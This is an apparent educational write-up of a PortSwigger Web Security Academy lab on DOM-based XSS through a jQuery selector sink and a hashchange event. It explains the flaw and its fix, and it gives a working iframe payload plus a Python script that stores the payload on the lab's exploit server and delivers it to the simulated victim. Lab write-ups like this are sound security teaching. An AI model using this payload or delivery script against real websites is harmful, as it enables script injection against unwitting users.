DOM XSS in jQuery selector sink using a hashchange event
Original lab: DOM XSS in jQuery selector sink using a hashchange event on PortSwigger ↗
Every DOM sink so far has fired on page load, triggered by a query parameter we could put straight in a URL and send to a victim as a link. This lab introduces a source that never touches location.search at all — the URL fragment (location.hash) — combined with a sink that only processes it in response to a hashchange event. That combination means a single crafted link isn't enough by itself; the payload has to be delivered in a way that actually fires the event after the page has loaded.
The Target
The blog's home page listens for hashchange events and uses jQuery's $() selector function against the value of location.hash, apparently to scroll to or highlight a post matching that fragment. Because the fragment is never sent to the server as part of the HTTP request, there's no server-side reflection to look for at all — this is entirely a client-side data flow.
The Investigation
Two things made this lab different from the earlier DOM sinks: first, location.hash changes don't trigger a page navigation by themselves, so simply loading https://target/#payload wouldn't necessarily fire the vulnerable code path — the hashchange event has to actually occur after the initial page load. Second, jQuery's $() function is overloaded: if given a string that looks like an HTML tag, it creates that HTML rather than treating the string purely as a CSS selector. Passing attacker-controlled data into $() without checking its shape means an attacker can supply markup instead of a selector, and jQuery will build it.
The Exploit
To reliably trigger the hashchange event rather than relying on the initial page load, we delivered the payload through an iframe that first loads the page with an empty hash, then appends the malicious fragment after load — which fires hashchange on the embedded page:
<iframe src="https://LAB-ID.web-security-academy.net/#" onload="this.src+='<img src=1 onerror=print()>'"></iframe>
We stored this on the exploit server and delivered it to the lab's simulated victim. The iframe loads the target with an empty hash, then its onload handler appends <img src=1 onerror=print()> to the URL, which changes the hash and fires hashchange. The vulnerable code passes that new hash value into $(), which builds the <img> element and immediately triggers its broken-image onerror handler.
Comparing Notes: PortSwigger's Official Solution
PortSwigger's solution uses the identical iframe-plus-onload technique to force a hashchange after initial load, and the identical payload appended to the hash. There's no technique divergence at all — this is one of those labs where the intended solution and ours converge exactly, because the hashchange timing constraint really only has one clean answer. The one deliberate substitution we made was using print() instead of alert() as the proof-of-concept function — a known workaround for headless/cross-origin iframe contexts where alert() can be suppressed, which happens to match what PortSwigger's own solution also uses here. The remaining difference is the usual one: their walkthrough stores and delivers the exploit through the exploit server's web UI, we did it through direct POST requests to the same exploit server endpoints.
What This Teaches Us
This lab shows two related lessons at once. First, DOM sources aren't limited to what shows up in the HTTP request — location.hash never leaves the browser, so a purely server-side security review (WAF, request logging, server-side input validation) will never see this payload at all. Second, jQuery's $() overloading is a sharp edge: treating "it's just a selector" as safe is wrong when the function will happily interpret a string starting with < as HTML to construct. The fix is to pin down which behavior is intended — use a dedicated selector API or explicitly validate that the hash value looks like an element ID before passing it to $(), rather than trusting jQuery's automatic detection to do the safe thing.
The automated solution
Here's the full Python script that solves this lab against your own instance — the same technique from the writeup, packaged to run. View on GitHub.
Show the solution script (Python)
#!/usr/bin/env python3
"""
DOM XSS in jQuery selector sink using a hashchange event
PortSwigger Web Security Academy — Cross-Site Scripting (XSS)
Companion script for the writeup: 06-dom-xss-jquery-selector-hashchange-event.md
What this does:
location.hash never leaves the browser, and the vulnerable code only
runs on a hashchange event -- simply loading a URL with a payload in
the fragment isn't enough. Stores an iframe on the lab's exploit server
that loads the target with an empty hash, then appends the payload to
the hash in its onload handler, which fires hashchange after the page
has already loaded. jQuery's $() then builds the appended string as
HTML rather than treating it as a selector. Uses print() instead of
alert(), matching PortSwigger's own solution -- alert() can be
suppressed in headless/cross-origin iframe contexts, but print() isn't.
Usage:
python 06-dom-xss-jquery-selector-hashchange-event.py <lab-url>
e.g. python 06-dom-xss-jquery-selector-hashchange-event.py https://0a1b00fa03d9c8b6803b56b400eb00d5.web-security-academy.net
Requirements:
pip install httpx
"""
import re
import sys
import time
import httpx
def get_exploit_server_url(client: httpx.Client) -> str:
r = client.get("/")
m = re.search(r'(https://exploit-[^\s"\'<>]+\.exploit-server\.net)', r.text)
if not m:
raise RuntimeError("could not find exploit server URL on lab homepage")
return m.group(1).rstrip("/")
def exploit_server_deliver(exploit_url: str, body: str) -> bool:
"""Store the payload, verify it saved, then trigger the simulated victim."""
headers = "HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8"
with httpx.Client(follow_redirects=True, timeout=20, verify=False) as c:
form_data = {
"urlIsHttps": "on",
"responseFile": "/exploit",
"responseHead": headers,
"responseBody": body,
}
form_data["formAction"] = "STORE"
r_store = c.post(exploit_url, data=form_data)
if r_store.status_code >= 400:
print(f"[!] Exploit server STORE failed: {r_store.status_code}")
return False
verify_url = exploit_url.rstrip("/") + "/exploit"
try:
r_verify = c.get(verify_url)
print(f"[+] Payload stored and verified at {verify_url} ({len(r_verify.text)} bytes)")
except Exception:
print("[*] Payload stored (verify request failed, continuing)")
form_data["formAction"] = "DELIVER_TO_VICTIM"
r_deliver = c.post(exploit_url, data=form_data)
success = r_deliver.status_code < 400
print(f"[{'+' if success else '!'}] DELIVER_TO_VICTIM {'sent' if success else 'failed'} (status {r_deliver.status_code})")
return success
def solve(lab_url: str) -> None:
client = httpx.Client(base_url=lab_url, follow_redirects=True, timeout=20)
client.get("/")
exploit_url = get_exploit_server_url(client)
print(f"[*] Exploit server: {exploit_url}")
# Load the lab with an empty hash, then append the payload after load --
# that append is what fires hashchange, not the initial navigation.
iframe_body = (
f'<iframe src="{lab_url}/#" '
f'onload="this.src+=\'<img src=1 onerror=print()>\'"></iframe>'
)
print(f"[*] Iframe payload: {iframe_body}")
exploit_server_deliver(exploit_url, iframe_body)
print("[*] Waiting for the simulated victim to load the exploit...")
time.sleep(5)
check = client.get("/")
if "Congratulations" in check.text:
print("[+] Lab solved.")
else:
print("[-] Not solved yet -- try re-running, or check the exploit server access log.")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: python {sys.argv[0]} <lab-url>")
sys.exit(1)
solve(sys.argv[1].rstrip("/"))
Related labs
- Reflected XSS into HTML context with nothing encoded
- Stored XSS into HTML context with nothing encoded
- DOM XSS in document.write sink using source location.search
- DOM XSS in innerHTML sink using source location.search
Want to go from zero to junior pentester?
These walkthroughs are a taste. The full path — live, hands-on, in a small cohort — starts with a free webinar.
Join the Free Live Webinar →